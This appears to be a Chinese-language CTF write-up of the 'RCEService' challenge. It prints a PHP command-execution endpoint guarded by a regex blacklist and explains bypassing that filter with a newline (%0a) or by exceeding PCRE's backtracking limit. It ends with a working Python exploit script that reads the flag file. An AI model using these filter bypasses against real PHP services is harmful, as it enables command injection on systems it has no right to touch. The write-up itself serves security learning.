您好,登錄后才能下訂單哦!
今天小編給大家分享一下PHP中RCEService正則回溯怎么實現的相關知識點,內容詳細,邏輯清晰,相信大部分人都還太了解這方面的知識,所以分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后有所收獲,下面我們一起來了解一下吧。
打開題目輸入JSON類型的cmd后,嘗試讀取index.php的源代碼,但是讀取不出來,并且掃后臺出來的/index以及/index/login也沒有任何東西,實在不知道怎么做了,只能看一下別人的wp,發現別人以來都是審查源碼,我就奇怪了,源碼怎么弄來的,看了很多wp發現應該是比賽的時候直接給的源碼,但是buu平臺忘記加上了
<?php putenv('PATH=/home/rceservice/jail'); if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd']; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; } } ?>
看到最后的system以及正則,看來這題是要繞過正則執行cmd命令了,這么多黑名單函數應該不會讓我們找漏網之魚吧,不會吧不會吧
我們看到正則表達式沒有添加修飾符,那我們可以利用多行匹配這個漏洞了
在這里我們可以利用%0a換行符進行繞過正則匹配,而且可以看到要有修飾符s才會讓.*匹配換行符,因此我們這里可以利用我們之前的ls試試能不能成功
發現依然可以出來index.php;源代碼中編譯了環境變量path(我以為只是單純暗示我們這個目錄),我們就在那個目錄下看看
發現了flag文件,我用nl,cat,more,less等命令都讀取不出來 ,查資料發現,系統命令需要有特定的環境變量的也就是路徑,系統找不到該路徑下的exe文件怎么執行系統命令
因此這個地方查閱資料后發現只能調用絕對路徑下的命令,cat命令就在/bin/目錄下面
第二種辦法也就是正則表達式回溯過多導致false,說實話我還是第一次聽到正則的回溯問題
PHP利用PCRE回溯次數限制繞過某些安全限制
簡單來說就是正則表達式匹配的時候某個.*將后面的字符全部匹配到了,導致表達式后面的式子沒有地方匹配,因此一個一個字符吐出來,直到后面的式子全部匹配完畢或者回溯次數過多
例子
經過自己試試果然只能回溯一百萬次
'/^.*
正則表達式最前面的匹配字符,^代表首個字母,'.'代表除換行符之外的所有字符,*代表前面那個表達式重復執行多次,因此他這里直接把我們的payload全部匹配完畢,導致后面的匹配不到字符了,只能一個個回溯
再將后面的匹配一下字符,可以發現目前寫的小寫字母都沒有過濾掉,因為十六進制\x00-\x1f換算成十進制并沒有到小寫字母的ascii值那個地方,因此我們可以任意利用一個小寫字母×個一百萬次,就可以讓正則表達式直接失敗
import requests url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn' data={ 'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}' } r=requests.post(url=url,data=data).text print(r)
以上就是“PHP中RCEService正則回溯怎么實現”這篇文章的所有內容,感謝各位的閱讀!相信大家閱讀完這篇文章都有很大的收獲,小編每天都會為大家更新不同的知識,如果還想學習更多的知識,請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。